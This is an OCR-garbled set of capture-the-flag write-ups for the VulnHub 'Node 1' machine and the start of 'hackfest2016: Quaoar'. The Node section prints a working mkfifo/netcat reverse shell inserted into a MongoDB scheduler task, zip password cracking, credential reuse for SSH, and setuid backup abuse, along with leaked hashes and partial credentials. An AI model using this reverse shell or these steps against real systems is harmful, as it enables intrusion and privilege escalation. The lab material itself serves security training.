<script t

src="vendor/jouery/jquery.min. js"></script>
src="vendor/bootstrap/js/bootstrap.min.js"></script=
sre="vendor/angular/angular.min.js"></script=>
sre="wendor/angular/angular- route.min. js"=</script>
src="assets/js/app/app.js"></script>
src="assets/js/app/controllers/home.js"></script:
src="assets/js/app/controllers/login. js"></script:
src="assets/]s/app/controllers/admin. js"></scripts
src="assets/js/app/controllers/profile. js"></scripts

src="assets/js/misc/Treelancer.min.js"></script>

-

Figure 4: writeup.enumeration.steps.3.1
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New Tab X | http://192.168.92.189:3000/ X | http://192.168.92.189:3000/ X

&~ = f{i¥ | @ view-source:http://192.168.92.189:3000/assets/js/app/controllers/home.js
3 links

var controllers = angular.module('controllers');

controllers.controller{'HomeCtrl', function {$scope, $hitp) {
shttp.get( ' [ETNNEEIACITR ' ) . then(function (res) {

$scope.users = res.data;
1
j2

Figure 5: writeup.enumeration.steps.3.2

New Tab X |http:ﬁlgl.lﬁ&92.18'9:3{)00! X | http://192.168.92.189:3000/ X | 192.168.92.189:3000/apifus: X

(&)= 1@ | @ 192.168.92.189:3000/api/users/

links
JSON Raw Data Headers

Save Copy
e
_dd: "59a7365b98aa325ccl3ee51c”
username: "myPl4cefdnlnAcc@uNT"
" password: "dffc584aa55359b9265chebeled032 feA00D64475303Td209c07d23223334d0aT"
1s_admin: true
vl
_id: "59373683983a325¢cc03ee51d"
username: "fom"
¥ password: "f0e2e750791171b0391p0B2ec35835bd6a5C3T7CcBd1d0101451ecTThad75T240"
is_admin:  false
gl
_dds "59a73682983a325¢cc03ee51a"
Username: "mark"
~ password: "deSaladf4fedccel533915edc60177547T1057b6107119Td130e1T7428705T73"
is_admin:  false
id: "50330781ccedaTid1490fced"
username: “rastating"
¥ password: "5065db2dT0d4ee53562c650c29bact55097e231e3TeB8570abc%eddBbTBac2 0"
is admin: false
Figure 6: writeup.enumeration.steps.3.3
Findings
Open Ports
22/tcp | ssh | OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
3000/tcp | http | Node.js Express framework
Files



http://192.168.92.189:3000/assets/js/app/controllers/home. js
http://192.168.92.189:3000/api/users/latest
http://192.168.92.189:3000/api/users/

Users

ssh: mark
webapp: tom, mark, rastating
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Phase #2: Exploitation

1. We authenticate as user myP1l4ceAdminAccOuNT as from the username it seems to be an administrative ac-
count. Upon successful login, we get a page to download backup. We proceed and get a plaintext file named
myplace.backup. This file has text that looks to be Base64 encoded. Once decoded, we get a zip archive which is
password encrypted. We bruteforce the password for the archive and sucessfully extract its contents:

file myplace.backup

b64d $(cat myplace.backup) >unknown

frackzip -uDP /usr/share/wordlists/rockyou.txt unknown
unzip -o -P "magicword" unknown

MYPLACE

WELCOME TO MYPLACE

WELCOME BACK,
MYP14CEADMINACCOUNT
*

Download Backup

Figure 7: writeup.exploitation.steps.1.1

root@kali: ~/toolbox/data/writeups/vulnhub.nodel # b64d $(cat myplace.backup }
PK
{o#Kvar/www/myplace/UT Yx]Jux

PKE"KL}745!var/www/myplace/package-lock. jsonUT

Figure 8: writeup.exploitation.steps.1.2

root@kali: ~/toolbox/data/writeups/vulnhub.nodel # b64d %$(cat myplace.backup) =unknown
root@kali: ~/toolbox/data/writeups/vulnhub.nodel # file unknown

unknown: Zip archive data, at least v1.0 to extract

root@kali: ~/toolbox/data/writeups/vulnhub.nodel #

Figure 9: writeup.exploitation.steps.1.3



root@kali: # fcrackzip -uDp fusr/share/wordlists/rockyou.txt unknown

PASSWORD FOUND!!!!: pw == magicword
root@kali: #
root@kali: #
root@kali: #
Archive: unknown

creating: var/www/myplace/

unzip -o -P "magicword" unknown

Figure 10: writeup.exploitation.steps.1.4

2. Within the extracted the zip archive we get a backup of the /var directory on the target system. This directory
has source for the Node.js web application running on 3000/tcp. Within the source, we find hardcoded MongoDB
credentials for user mark. We try those credentials to login via SSH and get local access:

head var/www/myplace/app.js
mark:5AYREt73VtFpc84k
ssh mark©192.168.92.189

~/toolbox/data/writeups/vulnhub.node1/var/www/myplace/app.js - Sublime Text
File Edit Selection Find View Goto Tools Project Preferences Help

4p app.js

L 'S on
bodyParser
crypto

MongoClient e ‘mo ') .MongoClient;
t ObjectID e = (' mo ) .0bjectID;
path
spawn
app
Eourl
backup_key

Figure 11: writeup.exploitation.steps.2.1
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root@kali: ~/toolbox/dat vulnhub.nodel # ssh mark@l92.168.92.189

mark@l192.168.92.189's password:

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /fusr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

88
&8
88,888,
88 88

(= ]

88 88
88 88

'88888°"

= C0 Co Co Co C0 Q0
00 C0 CO Co €0 OO 00

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Tue Oct 22 22:53:34 2019 from 192.168.92.179
; :~% id
uid=1001(mark) gid=1001(mark) groups=1001(mark)
=%

. le:~% uname -a
Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86 64 xB86 64 x86 64 GNU/Linux

$
} $ ifconfig
ens33 Link encap:Ethernet HWaddr 00:0c:29:fe:c0:b6
inet addr:192.168.92.189 Bcast:192.168.92.255 Mask:255.255.255.0

Figure 12: writeup.exploitation.steps.2.2

3. We find that the there is a user.txt file within /home/tom/ directory and as user mark we don’t have access to
that file. We need to switch to user tom to proceed further:

1s /home/*
cat /home/tom/user.txt

$ 1s /shome/#*
Jhome/Trank:

Jhome/mark:
Jhome/tom:
user.txt

~$

Figure 13: writeup.exploitation.steps.3.1
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:~% cat /home/tom/user.txt
cat: /Shome/tom/user.txt: Permission denied

=%

Figure 14: writeup.exploitation.steps.3.2

4. We find that we can run arbitrary commands from within the MongoDB instance using its scheduler record
for which we already found credentials via app. js file from the backup archive. Since the MongoDB instance is
running as user tom, we spawn a Bash reverse shell to switch users:

nc -nlvp 443

mongo -p —u mark scheduler
db.tasks.insert({"cmd": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.92.179
o 443 >/tmp/f"})
bye

cat /home/tom/user.txt

ark@node:~%$ mongo -p -u mark scheduler
MongoDB shell version: 3.2.16

Enter password:

connecting to: scheduler

=

Figure 15: writeup.exploitation.steps.4.1

> db.tasks.insert({"cmd": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.92.179 443 >/tmp/f"})

WriteResult({ "nInserted" : 1 })

> db.tasks.find({})

{ "_id" : objectId("5daf8el74d5faaba2b7b61laf"), "cmd" : "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2=&l1|nc 192.168.92.179 443 >/tmp/f" }
>

Figure 16: writeup.exploitation.steps.4.2

root@kali: ~/toolbox/data/writeups/vulnhub.nodel # nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.92.179] from (UNKNOWN) [192.168.92.189] 50718
/bin/sh: ©: can't access tty; job control turned off
$ id
uid=1000(tom) gid=100@(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(1lxd),115(1lpadmin),116(sambashare), 1082 (admin)
$
$ uname -a
Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
$
$
$ ifconfig
ens33 Link encap:Ethernet Hwaddr 00:0c:29:fe:c0:b6
inet addr:192.168.92.189 Bcast:192.168.92.255 Mask:255.255.255.0
inet6 addr: fe8@::28c:29ff:fefe:c0b6/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:173697 errors:0 dropped:® overruns:®@ frame:@
TX packets:42882 errors:0 dropped:@ overruns:@ carrier:0
collisions:® txqueuelen:1000
RX bytes:20508626 (20.5 MB) TX bytes:56931523 (56.9 MB)

Figure 17: writeup.exploitation.steps.4.3
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Phase #2.5

mark@node> id

$ pwd

i

$

% cd ~

% pwd

Jhome/tom

$

$

% 1s -1la

total 40
drwxr-xr-x 6 root
drwxr-xr-x 5 root
-Mw-r--r-- 1 root
-Mw-r--r-- 1 root
drwx------ 2 root
drwxr-xr-x 3 root
-MW-r----- 1 root
-rwxr-xr-x 1 root
drwxrwxr-x 2 root
drwxr-xr-x 5 root
-Mw-r--r-- 1 root
-MW-r----- 1 root
$

$

% cat user.txt

ell56acc3574e04bB6908ect76be9lbl

$

root
root
root
root
root
root
root
root
root
root
root
tom

4096
4096

220
3771
4096
4096

4096
4096
B35
33

Sep
Aug
Aug
Aug
Aug
Aug
Sep
Aug
Aug
Aug
Aug
Sep

31
29
29
29
30

30
29
31
29

2017
2017
2017
2017
2017
2017
2017
2017
2017
2017
2017
2017

Figure 18: writeup.exploitation.steps.4.4

: Post Exploitation

1uid=1001 (mark) gid=1001(mark) groups=1001(mark)

mark@node>
mark@node> un

Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 z86_64 x86_64 x86_64

o GNU/Linuz
mark@Onode>
markOnode> if

ame

config

ens33 Link encap:Ethernet HWaddr 00:0c:29:fe:c0:b6
inet addr:192.168.92.189 Bcast:192.168.92.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fefe:cOb6/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:170069 errors:0 dropped:0 overruns:0 frame:0
TX packets:40914 errors:0 dropped:0 overruns:0 carrier:0

collisi
RX byte
markOnode>
markOnode> us
root
tom

ons:0 txqueuelen:1000
5:20195705 (20.1 MB)

ers

TX bytes:56570710 (56.5 MB)

13

.bash logout
.bashrc
.cache
.config
.dbshell
.mongorc.js
.nano

.npm
.profile
user.txt
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mark

14
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Phase #3: Privilege Escalation

1. We find an interesting setuid file /usr/local/bin/backup. This file is also referenced within the app.js file
and we get a hint at how to execute it. We need a backup key which is also conviniently present in the app. js file.
Alongwith this, we need to pass a filepath to backup as the third argument. We try to backup the /root directory
but get a troll face instead. We then symlink the dircetory and successfully obtain the backup:

find / -type f -perm -04000 2>/dev/null

/usr/local/bin/backup -q '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "
< /root

/usr/local/bin/backup -q '45fac180e9eee72f4£d2d9386ea7033e52b7c740afc3d98a8d0230167104d474"
< /tmp/test/

:~% find / -type T -perm -04000 2=/dev/null
Jusr/lib/eject/dmcrypt-get-device
Jusr/lib/snapd/snap-confine
Jusr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86 64-linux-gnu/Llxc/lxc-user-nic
Jusr/lib/openssh/ssh-keysign
Jusr/lib/policykit-1/polkit-agent-helper-1
Jusr/local/bin/backup
Jusr/bin/chfn
Jusr/bin/at
Jusr/bin/gpasswd
Jusr/bin/newgidmap
Jusr/bin/chsh
Jusr/bin/sudo
fusr/bin/pkexec
Jusr/bin/newgrp
Jusr/bin/passwd
Jusr/bin/newuidmap
/bin/ping
/bin/umount
/bin/fusermount
/bin/ping6
/bin/ntfs-3g
/bin/su
/bin/mount

:~% 1s -1 fusr/local/bin/backup
-rwsr-xr-- 1 root admin 16484 sep 3 2017 [EINIEEEITTEEEE
=%

Figure 19: writeup.privesc.steps.1.1
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'fapi/admin/backup',

{req session.user qu,Je:Jlun user.is admln} {
proc awn('/usr/local/bin/backup', ['-q', backup Key, dirname
backup Ll

Figure 20: writeup.privesc.steps.1.2

spawn
app

url ; ark:5 4k@localho 017 /myp uthMechanism=DEFAULT&authSource=myplace';
backup_key ‘45fdc1"0tgeee?2f4fd‘dgjﬁﬁea"njj 52b7c74 Bag 67 104d4?¢1|

Figure 21: writeup.privesc.steps.1.3

tom@node: /$
<f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474' /root

Figure 22: writeup.privesc.steps.1.4

Figure 23: writeup.privesc.steps.1.5

2. Upon following the usual steps and extracting the contents of the password encrypted zip archive, we get access
to the /root directory and obtain the root.txt file to complete the challenge:

b64d $(cat backup-root) >backup-root.zip
unzip -o -P "magicword" backup-root.zip
cat tmp/test/root/root.txt

16



root@kali: ~/toolbox/data/writeups/vulnhub.nodel # cat tmp/test/root/root.txt
1722e99ca51353b362556a62bd5e6bed
root@kali: ~/toolbox/data/writeups/vulnhub.nodel #

Figure 24: writeup.privesc.steps.2.1
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Loot

Hashes
root:$6$n.BA4AS9$WeIF0ZbaB3VGgAxUZqGHNWO1 . GhLO9oVYYFiohO7RpPtB149YdMahhtbYhxUjanXf/ |
o NJXiCHBvrNhdCB3P............ .. ...
tom:$6$ptD/.gN.$n.B/
-~ bdODEQFteBwg75Ip9leecaaXSMesGbfZzoVHpZihMHEfbWud5UpVZTc6razK1JLZ6817ckZhAJF776Dg. . . . oo vt

mark: $6$J3gYK/cQ$aulWm0Ctq. X1DTKt 1CEmKA9qr4PfwZuAGUACEAV . SSUSVxAtjW/Xk1/ |
~ oWJtQVaoXMEVXmeBIB6bg24Jpc........oovviiiiiiinn..

Credentials

ssh: mark/5AYRft73VtFp....
webapp: myPl4ceAdminAccOuNT/manc...... , tom/sponge..., mark/snowfl...

Flags
user.txt: e1156acc3574e04b06908ecf........
root.txt: 1722e99ca5f353b362556a62........

References

[+] https://www.vulnhub.com/entry /node-1,252/
[+] https://hkh4cks.com/blog/2018/06/15/htb-node-walkthrough/
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[VulnHub] hackfest2016: Quaoar

Date: 18/Sep/2019

Categories: oscp, vulnhub, linux
Tags: enumerate_app_wordpress, exploit_wordpress_defaultcreds, exploit_ wordpress_plugin_hellodolly,

exploit_ php_ reverseshell, privesc_mysql_creds, privesc_ credsreuse

Overview

This is a writeup for VulnHub VM hackfest2016: Quaoar. Here are stats for this machine from machinescli:

~ machinescli -t --info quaoar

# ID Name Rating

Difficulty 0S 0SCPlike  Owned TTPs

1. vulnhub#180 hackfest2016: Quaoar

privesc_mysql_creds
privesc_credsreuse

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.vulnhub.com/entry/hackfest2016-quaoar,180/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=enumerate_app_wordpress&unscoped_q=enumerate_app_wordpress
https://github.com/7h3rAm/writeups/search?q=exploit_wordpress_defaultcreds&unscoped_q=exploit_wordpress_defaultcreds
https://github.com/7h3rAm/writeups/search?q=exploit_wordpress_plugin_hellodolly&unscoped_q=exploit_wordpress_plugin_hellodolly
https://github.com/7h3rAm/writeups/search?q=exploit_php_reverseshell&unscoped_q=exploit_php_reverseshell
https://github.com/7h3rAm/writeups/search?q=privesc_mysql_creds&unscoped_q=privesc_mysql_creds
https://github.com/7h3rAm/writeups/search?q=privesc_credsreuse&unscoped_q=privesc_credsreuse
https://www.vulnhub.com/entry/hackfest2016-quaoar,180/
https://github.com/7h3rAm/machinescli

[VulnHub] hackfest2016: Quaoar

192.168.92.175

Y
Phase #1: Enumeration‘

X Y.

L 4 . . 4 . 4
116/tcp | 137/udp | 139/tcp | | 143/tcp < | 445/tcp | 993/tcp

Y d Y Y

= 995/tcp .22/tcp 53/tcp 80/tcp

h 4
‘http://192.168.92.175/robot5.txt‘

l

‘http://192.168.92.175/w0rdpress/‘

Y
‘wpscan - admin,wpuser‘

Y

Phase #2: Exploitation

¥

default credentials - admin/admin

wordpress Hello Dolly plugin

4

edit, add PHP reverse shell and activate

h 4
netcat (www-data)

L § X

/home /wpadmin/flag. txt ' Phase #3: Privilege Escalation

B 4
/var/www/wordpress/wp-config.php

’ i |
mysql credentials for user root

. . 4 "
credentials reused for root account

4

shell.[root)

v

:/root/flag.txt:
Figure 2: writeup.overview.killchain
TTPs

1. 80/tcp/http/Apache httpd 2.2.22 ((Ubuntu)): enumerate_app_ wordpress, exploit_ wordpress_ defaultcreds,
exploit_ wordpress_ plugin__hellodolly, exploit_ php_ reverseshell, privesc_ mysql_creds, privesc_ credsreuse


https://github.com/7h3rAm/writeups#enumerate_app_wordpress
https://github.com/7h3rAm/writeups#exploit_wordpress_defaultcreds
https://github.com/7h3rAm/writeups#exploit_wordpress_plugin_hellodolly
https://github.com/7h3rAm/writeups#exploit_php_reverseshell
https://github.com/7h3rAm/writeups#privesc_mysql_creds
https://github.com/7h3rAm/writeups#privesc_credsreuse
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Wed Sep 18 14:14:44 2019 as: mmap —-vv —--reason —Pn -sV -sC

» ——version-all —olN

s /root/toolbox/writeups/vulnhub. quaoar/results/192.168.92.175/scans/_quick_tcp_nmap.tzt -oX
o /root/toolboz/writeups/vulnhub. quaoar/results/192.168.92.175/scans/zml/_quick_tcp_nmap.zml
o 192.168.92.175

Nmap scan report for 192.168.92.175

Host is up, received arp-response (0.0084s latency).

Scanned at 2019-09-18 14:14:45 PDT for 23s

Not shown: 991 closed ports

Reason: 991 resets

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 5.9pl Debian 5Subuntul (Ubuntu Linux; protocol
s 2.0)

| ssh-hostkey:

| 1024 d0:0a:61:d5:d0:3a:38:¢c2:67:c3:c3:42:8f:ae:ab:e5 (DSA)

| ssh-dss AAAAB3NzaC1lkc3MAAACBAKhWvQil7DDbE+4rIT/
<  g1SC8rxuvOMUowSJKUPEW1MVqfoLabiWJVA2EzqUGPgtTnq6uuTr1100p760I1ivE6U3cBbgEZz5x1z1AZIbB8Mt0GQGKSEMnkIPr |
< /cUn4PPnMPHt7I/JU4KGCcTPcq3KA+t0ZRH8m3PEaBg6vUXWSVKIybVAAAAFQDY Jev6e7eOvLla/ |
- gEoTi8qyOhf2ZQAAATEAgSbIw3eI3IU04FEnjy7aY4pRsI+
< 1Gqwb29GLJXgonVhecOmtavAvwRwr J5XF jgeVcHZQHySN7I+ ),
< S66hKqT0Qo4jalb6U9ZptVzIC8qkbeKToXqJLYwsGADTTLyA+1RJfemOFMjaAl7mhX7ulm8szQ3g5g+
= D4jqJKX1psMK42U+gAAACAV3s6IYysOw516Q/LzjBHVFy6Vm1J2jrTOMegkfzpxHIOCQz+EyXHrPG+
= Mu0iC9MuA8a7GjS5ryz2iqo/uEHPaoVYk2FpnsFXbCTvbeMruv5ifRhOLNKZ/ |
< VWRI1H12FIi5RI1NnEgeATIFymST8QuYEm7WWxZLXey09DwRSMPp2zNUU=

| 2048 bc:e0:3b:ef:97:99:9a:8b:9e:96:cf:02:cd:f1:5e:dc (RSA)

| ssh-rsa

~ AAAAB3NzaClyc2EAAAADAQABAAABAQDCzMP j80rW0OSTS2cP0g24Yep4GX3GXioOp3MPI0g9AWyal2ACkxFPwl3u0l jwfE3UGzNS53H

= +yMaNbJVCWs2+2LsejPUCnykA1hSCKcrpviyitU3C3/

= 5fojXtnrGyCBZzeyEQbkIaZ1QnUmykl jjgCiDxH6qh50wRRpaEt7r00TSKh7FDvTy/ly/EMUBOSq/UmMs061/ |

< NNxDgWEPGvvWrbt7aKT71PJXM41i8xxEfi+K7rC3dJBGGV71X7m603532/HLw71RbtRyylgbf MY/ pOduFmFul+

< sTH5fI1/UlidOAnJNXPCFUnZMEWLrBjhme/q4wjLxwFHKLyDd

| 256 8c:73:46:83:98:8f:0d:£7:£5:c8:e4:58:68:0£:80:75 (ECDSA)

| __ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAATbmlzdHAyNTYAAABBBI9oPSx9ey3GvWq/2+
o TEWNxzZjOWFIBYqbMf+dLbBbGHakQLPZIKRrHPL902cZhUq(88hbceEANZGH2MnFvpDt8=

53/tcp open domain syn-ack ttl 64 ISC BIND 9.8.1-P1

| dns-nsid:

| _ bind.version: 9.8.1-P1

80/tcp open http syn-ack ttl 64 Apache httpd 2.2.22 ((Ubuntu))

| http-methods:
|_  Supported Methods: POST OPTIONS GET HEAD
| http-robots.txt: 1 disallowed entry
| _Hackers
| _http-server-header: Apache/2.2.22 (Ubuntu)
| _http-title: Site doesn't have a title (text/html).
110/tcp open pop3 syn-ack ttl 64 Dovecot pop3d
| _pop3-capabilities: SASL TOP PIPELINING STLS RESP-CODES UIDL CAPA
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail
o server/organizationalUnitName=ubuntu/emailAddress=root@ubuntu
| Issuer: commonName=ubuntu/organizationName=Dovecot mail
o server/organizationalUnitName=ubuntu/emailAddress=rootQubuntu
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: shalWithRSAEncryption
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<

<

Not valid before: 2016-10-07T04:32:43

Not valid after: 2026-10-07T04:32:43

MD5: e242 d8cb 6557 1624 38af 0867 05e9 2677

SHA-1: b5d0 537d 0850 11d0 e9cO0 fbl0 ca07 37c3 afl10 9382

MIIDizCCAnOgAwIBAgIJAP80UpUA7rC3MAOGCSqGSIb3DQEBBQUAMFwxHDAaBgNV
BAoMEORvdmV jb3QgbWFpbCBzZXJ2ZXIxDzANBgNVBAsMBnVidW50dTEPMAOGA1UE
AwwGdWJ1bnR1MRowGAYJKoZThvcNAQkBFgtyb290QHVidW50dTAeFwOxNjEwMDcw
NDMyNDNaFwOyN jEwMDcwNDMyNDNaMFwxHDAaBgNVBAoMEORvdmV jb3QgbWFpbCBz
ZXJ2ZXIxDzANBgNVBAsMBnVidW50dTEPMAOGA1UEAwwWGAWJ1bnR1MRowGAY JKoZT
hvcNAQkBFgtyb290QHVidW50dTCCASIwDQYJKoZIhvcNAQEBBOQADggEPADCCAQoC
ggEBAMx70vWQLwa6CLqgoj jvHuC2x70jPP+j IUFMdoN2H1J+G/LdSy60QVEenqgcqs
S1HDFwmwDW2cCDC5tPaW2Qn5AI2Ts5TmSeNQTt1Rck1AQN+tF8aQpiJ6 jF jwMvbN
CIpbEWfvheLCpSw2yWWOMcERFsmbl0vdKo7KE/6fEvjdfYU1jJrVOLLqJFhgEwKX
ImSx/0VgMA/u8zX0mqaqVfa8Rrzs3aAS2HwHS2TGo28Ay9vt4wuLl7SuTrxX561pfA
Xi5TP2V9aatrpUwjlpGDolg/VptGP1Q3YRwgbZu3WWws11YoZXc0gYfYkJFR4gUs
dwTZGGpSKb1by5VTLvXaUvB5iBOCAWEAAaNQME4wHQYDVROOBBYEFOnF9jfUGBWq
IM6SV51Pz3s6gn1cMB8GA1UdIwQYMBaAFOnF9jfUGBWqIM6SV51Pz3s6gnlcMAWG
A1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAGOOkadSFS1VOIqgonA3dYYi
GisZQtrmXM8mHNMWY£5Ym3gRDurQHASxYZqNtcc40CF/YoxU8avrKxeU71TRScPx
wgqbYcssNTtpZnhC6AEXZBULZ56ZQSTy4//CZal0wgCxdevE+K+UtkOuNGdhOREQ
hzZWiOAMpwQWSXZfx1915MiViPPNLVuOIPVZqc6PE79st2ZEWp7CE2iKG35KSm39
xTyAQjVFpJXZtPTMRIsXel6mUZ0Oh2AHebgqGYnF19fx443ndgx2LHf c1+T9UTgk6
zSCmC8/kJcb2PXWvEEXJtabYi25JKGD8pOCDGWKw2Ly3cys18PTGqAei81d1Vp8=

ssl-date: 2019-09-18T21:15:09+00:00; +11s from scanner time.

9/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

3/tcp open imap syn-ack ttl 64 Dovecot imapd

imap-capabilities: listed post-login have ENABLE more capabilities OK Pre-login
LOGINDISABLEDAOOO1 SASL-IR STARTTLS LOGIN-REFERRALS IMAP4revl LITERAL+ ID IDLE
ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail

server/organizationalUnitName=ubuntu/emailAddress=root@ubuntu
Issuer: commonName=ubuntu/organizationName=Dovecot mail
server/organizationalUnitName=ubuntu/emailAddress=root@ubuntu
Public Key type: rsa
Public Key bits: 2048
Signature Algorithm: shalWithRSAEncryption
Not valid before: 2016-10-07T04:32:43
Not valid after: 2026-10-07T04:32:43
MD5: e242 d8cb 6557 1624 38af 0867 05e9 2677
SHA-1: b5d0 537d 0850 11d0 e9cO fbl0 cal07 37c3 afl0 9382

MIIDizCCAnOgAwIBAgIJAPS80UpUA7rC3MAOGCSqGSIb3DQEBBQUAMFwxHDAaBgNV
BAoMEORvdmV jb3QgbWFpbCBzZXJ2ZXIxDzANBgNVBAsMBnVidW50dTEPMAOGA1UE
AwwGdWJ1bnR1MRowGAYJKoZThvcNAQkBFgtyb290QHVidW50dTAeFwOxN jEwMDcw
NDMyNDNaFwOyN jEwMDcwNDMyNDNaMFwxHDAaBgNVBAoMEORvdmV jb3QgbWFpbCBz
ZXJ2ZXIxDzANBgNVBAsMBnVidW50dTEPMAOGA1UEAwWGAWJ1bnR1MRowGAY JKoZT
hvcNAQkBFgtyb290QHVidW50dTCCASIwDQYJKoZIhvcNAQEBBOQADggEPADCCAQoC
ggEBAMx70vWQLwa6CLqgoj jvHuC2x70jPP+j IUFMdoN2H1 J+G/LdSy60QVEenqgcqs
S1HDFwmwDW2cCDC5tPaW2Qn5AI2Ts5TmSeNQTt1Rck1AQN+tF8aQpiJ6 jFjwMvbN
CIpbEWfvheLCpSw2yWWOMcERFsmbl0vdKo7KE/6fEvjdfYU1jJrVOLLgqJFhgEwKX
ImSx/0VgMA/u8zX0mqaqVfa8Rrzs3aAS2HwHS2TGo28Ay9vt4wuLl7SuTrxX561pfA
Xi5TP2V9aatrpUwjlpGDolg/VptGP1Q3YRwgbZu3WWws11YoZXc0gYfYkJFR4gUs
dwTZGGpSKb1by5VTLvXaUvB5iBOCAWEAAaNQME4wHQYDVROOBBYEFOnF9jfUGBWq
IM6SV51Pz3s6gn1cMB8GA1UdIwQYMBaAFOnF9jfUGBWqIM6SV51Pz3s6gnlcMAWG
A1UdEwQFMAMBAf8wDQYJKoZTIhvcNAQEFBQADggEBAGOOkadSFS1VOIqgonA3dYYi
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GisZQtrmXM8mHNMWYf5Ym3gRDurQHASxYZthcc4DCF/YoxU8aerer71TRSch
wgqbYcssNTtpZnhC6AExZBULZ56ZQSTy4//CZal0wgCxdevE+K+UtkOuNGdhOREQ
hzZWiOAMpwQWSXZfx1915MiViPPNLVuOIPVZqc6PE79st2ZEWp7CE2iKG35KSm39
xTyAQjVFpJXZtPTMRIsXel6mUZOh2AHebgqGYnF19fx443ndgx2LHf c1+T9UTgk6
z3CmC8/kJcb2PXWvEEXJtabYi25JKGD8pOCDGWKw2Ly3cys18PTGqAei81d1Vp8=

| _ssl-date: 2019-09-18T21:15:09+00:00; +11s from scanner time.
445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.6.3 (workgroup: WORKGROUP)
993/tcp open ssl/imap syn-ack ttl 64 Dovecot imapd

| _imap-capabilities: listed have ENABLE more post-login capabilities Pre-login 0K SASL-IR
< AUTH=PLAINAOOO1 LOGIN-REFERRALS IMAP4revl LITERAL+ ID IDLE

| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail

o server/organizationalUnitName=ubuntu/emailAddress=root@ubuntu

| Issuer: commonName=ubuntu/organizationName=Dovecot mail
o server/organizationalUnitName=ubuntu/emailAddress=root@ubuntu

Public Key type: rsa

Public Key bits: 2048

Signature Algorithm: shalWithRSAEncryption

Not valid before: 2016-10-07T04:32:43

Not valid after: 2026-10-07T04:32:43

MD5: e242 d8cb 6557 1624 38af 0867 05e9 2677

SHA-1: b5d0 537d 0850 11d0 e9cO fbl0 cal07 37c3 afl10 9382

MIIDizCCAnOgAwIBAgIJAP80UpUA7rC3MAOGCSqGSIb3DOEBBQUAMFwxHDAaBgNV
BAoMEORvdmV jb3QgbWFpbCBzZXJ2ZXIxDzANBgNVBAsMBnVidW50dTEPMAOGA1UE
AwwGdWJI1bnR1MRowGAYJKoZThvcNAQkBFgtyb290QHVidW50dTAeFwOxNjEwMDcw
NDMyNDNaFwOyN jEwMDcwNDMyNDNaMFwxHDAaBgNVBAoMEORvdmV jb3QgbWFpbCBz
ZXJ2ZXIxDzANBgNVBAsMBnVidW50dTEPMAOGA1UEAwwGAWJ1bnR1MRowGAY JKoZI
hvcNAQkBFgtyb290QHVidW50dTCCASIwDQY JKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAMx70vWQLwa6CLqojjvHuC2x70jPP+jIUFMdoN2H1J+G/LdSy60QVEenqgcqgs
S1HDFwmwDW2cCDC5tPaW2Qn5AI2Ts5TmSeNQTt1Rck1AQN+tF8aQpiJ6 jF jwMvbN
CIpbEWfvheLCpSw2yWWOMcERFsmbl0vdKo7KE/6fEvjdfYU1jJrVOLLgJFhgEWKX
ImSx/0VgMA/u8zX0mgaqVfa8Rrzs3aAS2HwWHS2TGo28Ay9vt4wul7SuTrxX51pfA
Xi5TP2V9aatrpUwjlpGDolg/VptGP1Q3YRwgbZu3WWws11YoZXc0gYfYkJFR4gUs
dwTZGGpSKb1by5VTLvXaUvB5iBOCAWEAAaNQME4wHQYDVROOBBYEFOnF9 jfUGBWq
IM6SV51Pz3s6gn1cMB8GA1UAIwQYMBaAFOnF9jfUGBWqIM6SV51PZz3s6gnlcMAWG
A1UdEwQFMAMBA£8wDQYJKoZIhvcNAQEFBQADggEBAGOOkadSFS1VOIqgonA3dYYi
GisZQtrmXM8mHNMWY£5Ym3gRDurQHASxYZgNtcc40CF/YoxU8avrKxeU71TRScPx
wgqbYcssNTtpZnhCEAExZBULZ56ZQSTy4//CZal10wgCxdevE+K+UtkOuNGAhORED
